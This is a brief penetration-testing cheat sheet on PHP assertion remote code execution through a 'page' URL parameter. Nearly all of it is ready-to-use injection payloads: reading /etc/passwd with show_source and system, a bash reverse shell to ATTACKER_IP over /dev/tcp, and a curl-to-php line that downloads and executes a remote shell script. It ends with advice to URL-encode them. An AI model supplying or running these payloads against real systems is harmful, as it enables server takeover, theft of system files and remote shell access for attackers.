PHP Assertions RCE
1) Identification
http://domain.local/index.php?page='2) Payloads to use
' and die(show_source('/etc/passwd')) or '
'.system("cat /etc/passwd").'' and die(exec('bash -c "/bin/bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1"')) or '
'.system("curl http://ATTACKER_IP/revshell.php | php").'You might need to URL encode the payload for it to work (encode special characters too!)
Last updated